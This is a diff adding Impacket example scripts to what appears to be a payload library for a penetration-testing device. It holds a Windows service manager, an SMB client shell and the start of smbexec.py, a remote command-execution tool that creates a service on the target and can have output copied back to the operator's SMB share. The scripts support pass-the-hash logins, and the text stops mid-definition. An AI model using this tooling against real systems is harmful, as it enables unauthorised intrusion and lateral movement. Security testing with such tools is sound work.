scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + elif self.__action == 'DELETE': + logging.info("Deleting service %s" % self.__options.name) + scmr.hRDeleteService(rpc, serviceHandle) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + elif self.__action == 'CONFIG': + logging.info("Querying service config for %s" % self.__options.name) + resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) + print "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'], + if resp['lpServiceConfig']['dwServiceType'] & 0x1: + print "SERVICE_KERNEL_DRIVER ", + if resp['lpServiceConfig']['dwServiceType'] & 0x2: + print "SERVICE_FILE_SYSTEM_DRIVER ", + if resp['lpServiceConfig']['dwServiceType'] & 0x10: + print "SERVICE_WIN32_OWN_PROCESS ", + if resp['lpServiceConfig']['dwServiceType'] & 0x20: + print "SERVICE_WIN32_SHARE_PROCESS ", + if resp['lpServiceConfig']['dwServiceType'] & 0x100: + print "SERVICE_INTERACTIVE_PROCESS ", + print "" + print "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'], + if resp['lpServiceConfig']['dwStartType'] == 0x0: + print "BOOT START" + elif resp['lpServiceConfig']['dwStartType'] == 0x1: + print "SYSTEM START" + elif resp['lpServiceConfig']['dwStartType'] == 0x2: + print "AUTO START" + elif resp['lpServiceConfig']['dwStartType'] == 0x3: + print "DEMAND START" + elif resp['lpServiceConfig']['dwStartType'] == 0x4: + print "DISABLED" + else: + print "UNKOWN" + + print "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'], + if resp['lpServiceConfig']['dwErrorControl'] == 0x0: + print "IGNORE" + elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: + print "NORMAL" + elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: + print "SEVERE" + elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: + print "CRITICAL" + else: + print "UNKOWN" + print "BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1] + print "LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1] + print "TAG : %d" % resp['lpServiceConfig']['dwTagId'] + print "DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1] + print "DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1] + print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1] + elif self.__action == 'STATUS': + print "Querying status for %s" % self.__options.name + resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) + print "%30s - " % self.__options.name, + state = resp['lpServiceStatus']['dwCurrentState'] + if state == scmr.SERVICE_CONTINUE_PENDING: + print "CONTINUE PENDING" + elif state == scmr.SERVICE_PAUSE_PENDING: + print "PAUSE PENDING" + elif state == scmr.SERVICE_PAUSED: + print "PAUSED" + elif state == scmr.SERVICE_RUNNING: + print "RUNNING" + elif state == scmr.SERVICE_START_PENDING: + print "START PENDING" + elif state == scmr.SERVICE_STOP_PENDING: + print "STOP PENDING" + elif state == scmr.SERVICE_STOPPED: + print "STOPPED" + else: + print "UNKOWN" + elif self.__action == 'LIST': + logging.info("Listing services available on target") + #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) + #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) + #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) + resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) + for i in range(len(resp)): + print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), + state = resp[i]['ServiceStatus']['dwCurrentState'] + if state == scmr.SERVICE_CONTINUE_PENDING: + print "CONTINUE PENDING" + elif state == scmr.SERVICE_PAUSE_PENDING: + print "PAUSE PENDING" + elif state == scmr.SERVICE_PAUSED: + print "PAUSED" + elif state == scmr.SERVICE_RUNNING: + print "RUNNING" + elif state == scmr.SERVICE_START_PENDING: + print "START PENDING" + elif state == scmr.SERVICE_STOP_PENDING: + print "STOP PENDING" + elif state == scmr.SERVICE_STOPPED: + print "STOPPED" + else: + print "UNKOWN" + print "Total Services: %d" % len(resp) + elif self.__action == 'CREATE': + logging.info("Creating service %s" % self.__options.name) + scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00', + lpBinaryPathName=self.__options.path + '\x00') + elif self.__action == 'CHANGE': + logging.info("Changing service config for %s" % self.__options.name) + if self.__options.start_type is not None: + start_type = int(self.__options.start_type) + else: + start_type = scmr.SERVICE_NO_CHANGE + if self.__options.service_type is not None: + service_type = int(self.__options.service_type) + else: + service_type = scmr.SERVICE_NO_CHANGE + + if self.__options.display is not None: + display = self.__options.display + '\x00' + else: + display = NULL + + if self.__options.path is not None: + path = self.__options.path + '\x00' + else: + path = NULL + + if self.__options.start_name is not None: + start_name = self.__options.start_name + '\x00' + else: + start_name = NULL + + if self.__options.password is not None: + s = rpctransport.get_smb_connection() + key = s.getSessionKey() + try: + password = (self.__options.password+'\x00').encode('utf-16le') + except UnicodeDecodeError: + import sys + password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le') + password = encryptSecret(key, password) + else: + password = NULL + + + #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) + scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, + NULL, NULL, NULL, 0, start_name, password, 0, display) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + else: + logging.error("Unknown action %s" % self.__action) + + scmr.hRCloseServiceHandle(rpc, scManagerHandle) + + dce.disconnect() + + return + + +# Process command-line arguments. +if __name__ == '__main__': + + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A start command + start_parser = subparsers.add_parser('start', help='starts the service') + start_parser.add_argument('-name', action='store', required=True, help='service name') + + # A stop command + stop_parser = subparsers.add_parser('stop', help='stops the service') + stop_parser.add_argument('-name', action='store', required=True, help='service name') + + # A delete command + delete_parser = subparsers.add_parser('delete', help='deletes the service') + delete_parser.add_argument('-name', action='store', required=True, help='service name') + + # A status command + status_parser = subparsers.add_parser('status', help='returns service status') + status_parser.add_argument('-name', action='store', required=True, help='service name') + + # A config command + config_parser = subparsers.add_parser('config', help='returns service configuration') + config_parser.add_argument('-name', action='store', required=True, help='service name') + + # A list command + list_parser = subparsers.add_parser('list', help='list available services') + + # A create command + create_parser = subparsers.add_parser('create', help='create a service') + create_parser.add_argument('-name', action='store', required=True, help='service name') + create_parser.add_argument('-display', action='store', required=True, help='display name') + create_parser.add_argument('-path', action='store', required=True, help='binary path') + + # A change command + create_parser = subparsers.add_parser('change', help='change a service configuration') + create_parser.add_argument('-name', action='store', required=True, help='service name') + create_parser.add_argument('-display', action='store', required=False, help='display name') + create_parser.add_argument('-path', action='store', required=False, help='binary path') + create_parser.add_argument('-service_type', action='store', required=False, help='service type') + create_parser.add_argument('-start_type', action='store', required=False, help='service start type') + create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of ' + 'the account under which the service should run') + create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of ' + 'the account whose name was specified by the start_name parameter') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if domain is None: + domain = '' + + if options.target_ip is None: + options.target_ip = remoteName + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + services = SVCCTL(username, password, domain, options, int(options.port)) + try: + services.run(remoteName, options.target_ip) + except Exception, e: + logging.error(str(e)) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/smbclient.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbclient.py new file mode 100644 index 0000000..cc14324 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbclient.py @@ -0,0 +1,560 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Mini shell using some of the SMB funcionality of the library +# +# Author: +# Alberto Solino (@agsolino) +# +# +# Reference for: +# SMB DCE/RPC +# + +import sys +import time +import logging +import argparse +import cmd +import os + +from impacket.examples import logger +from impacket import version +from impacket.dcerpc.v5 import samr, transport, srvs +from impacket.dcerpc.v5.dtypes import NULL +from impacket.smbconnection import * + + +# If you wanna have readline like functionality in Windows, install pyreadline +try: + import pyreadline as readline +except ImportError: + import readline + +class MiniImpacketShell(cmd.Cmd): + def __init__(self, smbClient,tcpShell=None): + #If the tcpShell parameter is passed (used in ntlmrelayx), + # all input and output is redirected to a tcp socket + # instead of to stdin / stdout + if tcpShell is not None: + cmd.Cmd.__init__(self,stdin=tcpShell,stdout=tcpShell) + sys.stdout = tcpShell + sys.stdin = tcpShell + sys.stderr = tcpShell + self.use_rawinput = False + self.shell = tcpShell + else: + cmd.Cmd.__init__(self) + self.shell = None + + self.prompt = '# ' + self.smb = smbClient + self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials() + self.tid = None + self.intro = 'Type help for list of commands' + self.pwd = '' + self.share = None + self.loggedIn = True + self.last_output = None + self.completion = [] + + def emptyline(self): + pass + + def precmd(self,line): + # switch to unicode + return line.decode('utf-8') + + def onecmd(self,s): + retVal = False + try: + retVal = cmd.Cmd.onecmd(self,s) + except Exception, e: + #import traceback + #print traceback.print_exc() + logging.error(e) + + return retVal + + def do_exit(self,line): + if self.shell is not None: + self.shell.close() + return True + + def do_shell(self, line): + output = os.popen(line).read() + print output + self.last_output = output + + def do_help(self,line): + print """ + open {host,port=445} - opens a SMB connection against the target host/port + login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted + kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name + login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes + logoff - logs off + shares - list available shares + use {sharename} - connect to an specific share + cd {path} - changes the current directory to {path} + lcd {path} - changes the current local directory to {path} + pwd - shows current remote directory + password - changes the user password, the new password will be prompted for input + ls {wildcard} - lists all the files in the current directory + rm {file} - removes the selected file + mkdir {dirname} - creates the directory under the current path + rmdir {dirname} - removes the directory under the current path + put {filename} - uploads the filename into the current path + get {filename} - downloads the filename from the current path + info - returns NetrServerInfo main results + who - returns the sessions currently connected at the target host (admin required) + close - closes the current SMB Session + exit - terminates the server process (and this session) + +""" + + def do_password(self, line): + if self.loggedIn is False: + logging.error("Not logged in") + return + from getpass import getpass + newPassword = getpass("New Password:") + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', self.username, self.password, newPassword, self.lmhash, self.nthash) + self.password = newPassword + self.lmhash = None + self.nthash = None + + def do_open(self,line): + l = line.split(' ') + port = 445 + if len(l) > 0: + host = l[0] + if len(l) > 1: + port = int(l[1]) + + + if port == 139: + self.smb = SMBConnection('*SMBSERVER', host, sess_port=port) + else: + self.smb = SMBConnection(host, host, sess_port=port) + + dialect = self.smb.getDialect() + if dialect == SMB_DIALECT: + logging.info("SMBv1 dialect used") + elif dialect == SMB2_DIALECT_002: + logging.info("SMBv2.0 dialect used") + elif dialect == SMB2_DIALECT_21: + logging.info("SMBv2.1 dialect used") + else: + logging.info("SMBv3.0 dialect used") + + self.share = None + self.tid = None + self.pwd = '' + self.loggedIn = False + self.password = None + self.lmhash = None + self.nthash = None + self.username = None + + def do_login(self,line): + if self.smb is None: + logging.error("No connection open") + return + l = line.split(' ') + username = '' + password = '' + domain = '' + if len(l) > 0: + username = l[0] + if len(l) > 1: + password = l[1] + + if username.find('/') > 0: + domain, username = username.split('/') + + if password == '' and username != '': + from getpass import getpass + password = getpass("Password:") + + self.smb.login(username, password, domain=domain) + self.password = password + self.username = username + + if self.smb.isGuestSession() > 0: + logging.info("GUEST Session Granted") + else: + logging.info("USER Session Granted") + self.loggedIn = True + + def do_kerberos_login(self,line): + if self.smb is None: + logging.error("No connection open") + return + l = line.split(' ') + username = '' + password = '' + domain = '' + if len(l) > 0: + username = l[0] + if len(l) > 1: + password = l[1] + + if username.find('/') > 0: + domain, username = username.split('/') + + if domain == '': + logging.error("Domain must be specified for Kerberos login") + return + + if password == '' and username != '': + from getpass import getpass + password = getpass("Password:") + + self.smb.kerberosLogin(username, password, domain=domain) + self.password = password + self.username = username + + if self.smb.isGuestSession() > 0: + logging.info("GUEST Session Granted") + else: + logging.info("USER Session Granted") + self.loggedIn = True + + def do_login_hash(self,line): + if self.smb is None: + logging.error("No connection open") + return + l = line.split(' ') + domain = '' + if len(l) > 0: + username = l[0] + if len(l) > 1: + hashes = l[1] + else: + logging.error("Hashes needed. Format is lmhash:nthash") + return + + if username.find('/') > 0: + domain, username = username.split('/') + + lmhash, nthash = hashes.split(':') + + self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) + self.username = username + self.lmhash = lmhash + self.nthash = nthash + + if self.smb.isGuestSession() > 0: + logging.info("GUEST Session Granted") + else: + logging.info("USER Session Granted") + self.loggedIn = True + + def do_logoff(self, line): + if self.smb is None: + logging.error("No connection open") + return + self.smb.logoff() + del self.smb + self.share = None + self.smb = None + self.tid = None + self.pwd = '' + self.loggedIn = False + self.password = None + self.lmhash = None + self.nthash = None + self.username = None + + def do_info(self, line): + if self.loggedIn is False: + logging.error("Not logged in") + return + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrServerGetInfo(dce, 102) + + print "Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'] + print "Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] + print "Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'] + print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'] + print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'] + print "Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'] + + def do_who(self, line): + if self.loggedIn is False: + logging.error("Not logged in") + return + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) + + for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: + print "host: %15s, user: %5s, active: %5d, idle: %5d" % ( + session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], + session['sesi10_idle_time']) + + def do_shares(self, line): + if self.loggedIn is False: + logging.error("Not logged in") + return + resp = self.smb.listShares() + for i in range(len(resp)): + print resp[i]['shi1_netname'][:-1] + + def do_use(self,line): + if self.loggedIn is False: + logging.error("Not logged in") + return + self.share = line + self.tid = self.smb.connectTree(line) + self.pwd = '\\' + self.do_ls('', False) + + def complete_cd(self, text, line, begidx, endidx): + return self.complete_get(text, line, begidx, endidx, include = 2) + + def do_cd(self, line): + if self.tid is None: + logging.error("No share selected") + return + p = string.replace(line,'/','\\') + oldpwd = self.pwd + if p[0] == '\\': + self.pwd = line + else: + self.pwd = ntpath.join(self.pwd, line) + self.pwd = ntpath.normpath(self.pwd) + # Let's try to open the directory to see if it's valid + try: + fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE \ + , desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY \ + , shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE \ + ) + self.smb.closeFile(self.tid,fid) + except SessionError: + self.pwd = oldpwd + raise + + def do_lcd(self, s): + print s + if s == '': + print os.getcwd() + else: + os.chdir(s) + + def do_pwd(self,line): + if self.loggedIn is False: + logging.error("Not logged in") + return + print self.pwd + + def do_ls(self, wildcard, display = True): + if self.loggedIn is False: + logging.error("Not logged in") + return + if self.tid is None: + logging.error("No share selected") + return + if wildcard == '': + pwd = ntpath.join(self.pwd,'*') + else: + pwd = ntpath.join(self.pwd, wildcard) + self.completion = [] + pwd = string.replace(pwd,'/','\\') + pwd = ntpath.normpath(pwd) + for f in self.smb.listPath(self.share, pwd): + if display is True: + print "%crw-rw-rw- %10d %s %s" % ( + 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), + f.get_longname()) + self.completion.append((f.get_longname(), f.is_directory())) + + + def do_rm(self, filename): + if self.tid is None: + logging.error("No share selected") + return + f = ntpath.join(self.pwd, filename) + file = string.replace(f,'/','\\') + self.smb.deleteFile(self.share, file) + + def do_mkdir(self, path): + if self.tid is None: + logging.error("No share selected") + return + p = ntpath.join(self.pwd, path) + pathname = string.replace(p,'/','\\') + self.smb.createDirectory(self.share,pathname) + + def do_rmdir(self, path): + if self.tid is None: + logging.error("No share selected") + return + p = ntpath.join(self.pwd, path) + pathname = string.replace(p,'/','\\') + self.smb.deleteDirectory(self.share, pathname) + + def do_put(self, pathname): + if self.tid is None: + logging.error("No share selected") + return + src_path = pathname + dst_name = os.path.basename(src_path) + + fh = open(pathname, 'rb') + f = ntpath.join(self.pwd,dst_name) + finalpath = string.replace(f,'/','\\') + self.smb.putFile(self.share, finalpath, fh.read) + fh.close() + + def complete_get(self, text, line, begidx, endidx, include = 1): + # include means + # 1 just files + # 2 just directories + p = string.replace(line,'/','\\') + if p.find('\\') < 0: + items = [] + if include == 1: + mask = 0 + else: + mask = 0x010 + for i in self.completion: + if i[1] == mask: + items.append(i[0]) + if text: + return [ + item for item in items + if item.upper().startswith(text.upper()) + ] + else: + return items + + def do_get(self, filename): + if self.tid is None: + logging.error("No share selected") + return + filename = string.replace(filename,'/','\\') + fh = open(ntpath.basename(filename),'wb') + pathname = ntpath.join(self.pwd,filename) + try: + self.smb.getFile(self.share, pathname, fh.write) + except: + fh.close() + os.remove(filename) + raise + fh.close() + + def do_close(self, line): + self.do_logoff(line) + +def main(): + # Init the example's logger theme + logger.init() + print version.BANNER + parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If ommited it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if options.target_ip is None: + options.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + try: + smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port)) + if options.k is True: + smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip ) + else: + smbClient.login(username, password, domain, lmhash, nthash) + + shell = MiniImpacketShell(smbClient) + + if options.file is not None: + logging.info("Executing commands from %s" % options.file.name) + for line in options.file.readlines(): + if line[0] != '#': + print "# %s" % line, + shell.onecmd(line) + else: + print line, + else: + shell.cmdloop() + except Exception, e: + #import traceback + #print traceback.print_exc() + logging.error(str(e)) + +if __name__ == "__main__": + main() + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/smbexec.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbexec.py new file mode 100644 index 0000000..4df5e90 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/smbexec.py @@ -0,0 +1,350 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# A similar approach to psexec w/o using RemComSvc. The technique is described here +# http://www.accuvant.com/blog/owning-computers-without-shell-access +# Our implementation goes one step further, instantiating a local smbserver to receive the +# output of the commands. This is useful in the situation where the target machine does NOT +# have a writeable share available. +# Keep in mind that, although this technique might help avoiding AVs, there are a lot of +# event logs generated and you can't expect executing tasks that will last long since Windows +# will kill the process since it's not responding as a Windows service. +# Certainly not a stealthy way. +# +# This script works in two ways: +# 1) share mode: you specify a share, and everything is done through that share. +# 2) server mode: if for any reason there's no share available, this script will launch a local +# SMB server, so the output of the commands executed are sent back by the target machine +# into a locally shared folder. Keep in mind you would need root access to bind to port 445 +# in the local machine. +# +# Author: +# beto (@agsolino) +# +# Reference for: +# DCE/RPC and SMB. + +import sys +import os +import cmd +import argparse +import ConfigParser +import logging +from threading import Thread + +from impacket.examples import logger +from impacket import version, smbserver +from impacket.smbconnection import * +from impacket.dcerpc.v5 import transport, scmr + +OUTPUT_FILENAME = '__output' +BATCH_FILENAME = 'execute.bat' +SMBSERVER_DIR = '__tmp' +DUMMY_SHARE = 'TMP' + +class SMBServer(Thread): + def __init__(self): + Thread.__init__(self) + self.smb = None + + def cleanup_server(self): + logging.info('Cleaning up..') + try: + os.unlink(SMBSERVER_DIR + '/smb.log') + except: + pass + os.rmdir(SMBSERVER_DIR) + + def run(self): + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') + smbConfig.set('global','credentials_file','') + + # Let's add a dummy share + smbConfig.add_section(DUMMY_SHARE) + smbConfig.set(DUMMY_SHARE,'comment','') + smbConfig.set(DUMMY_SHARE,'read only','no') + smbConfig.set(DUMMY_SHARE,'share type','0') + smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path') + + self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) + logging.info('Creating tmp directory') + try: + os.mkdir(SMBSERVER_DIR) + except Exception, e: + logging.critical(str(e)) + pass + logging.info('Setting up SMB Server') + self.smb.processConfigFile() + logging.info('Ready to listen...') + try: + self.smb.serve_forever() + except: + pass + + def stop(self): + self.cleanup_server() + self.smb.socket.close() + self.smb.server_close() + self._Thread__stop() + +class CMDEXEC: + def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, + doKerberos=None, kdcHost=None, mode=None, share=None, port=445): + + self.__username = username + self.__password = password + self.__port = port + self.__serviceName = 'BTOBTO' + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__share = share + self.__mode = mode + self.shell = None + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def run(self, remoteName, remoteHost): + stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + if hasattr(rpctransport,'preferred_dialect'): + rpctransport.preferred_dialect(SMB_DIALECT) + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + self.shell = None + try: + if self.__mode == 'SERVER': + serverThread = SMBServer() + serverThread.daemon = True + serverThread.start() + self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) + self.shell.cmdloop() + if self.__mode == 'SERVER': + serverThread.stop() + except (Exception, KeyboardInterrupt), e: + #import traceback + #traceback.print_exc() + logging.critical(str(e)) + if self.shell is not None: + self.shell.finish() + sys.stdout.flush() + sys.exit(1) + +class RemoteShell(cmd.Cmd): + def __init__(self, share, rpc, mode, serviceName): + cmd.Cmd.__init__(self) + self.__share = share + self.__mode = mode + self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME + self.__batchFile = '%TEMP%\\' + BATCH_FILENAME + self.__outputBuffer = '' + self.__command = '' + self.__shell = '%COMSPEC% /Q /c ' + self.__serviceName = serviceName + self.__rpc = rpc + self.intro = '[!] Launching semi-interactive shell - Careful what you execute' + + self.__scmr = rpc.get_dce_rpc() + try: + self.__scmr.connect() + except Exception, e: + logging.critical(str(e)) + sys.exit(1) + + s = rpc.get_smb_connection() + + # We don't wanna deal with timeouts from now on. + s.setTimeout(100000) + if mode == 'SERVER': + myIPaddr = s.getSMBServer().get_socket().getsockname()[0] + self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) + + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp['lpScHandle'] + self.transferClient = rpc.get_smb_connection() + self.do_cd('') + + def finish(self): + # Just in case the service is still created + try: + self.__scmr = self.__rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp['lpScHandle'] + resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) + service = resp['lpServiceHandle'] + scmr.hRDeleteService(self.__scmr, service) + scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(self.__scmr, service) + except: + pass + + def do_shell(self, s): + os.system(s) + + def do_exit(self, s): + return True + + def emptyline(self): + return False + + def do_cd(self, s): + # We just can't CD or mantain track of the target dir. + if len(s) > 0: + logging.error("You can't CD under SMBEXEC. Use full paths.") + + self.execute_remote('cd ' ) + if len(self.__outputBuffer) > 0: + # Stripping CR/LF + self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>' + self.__outputBuffer = '' + + def 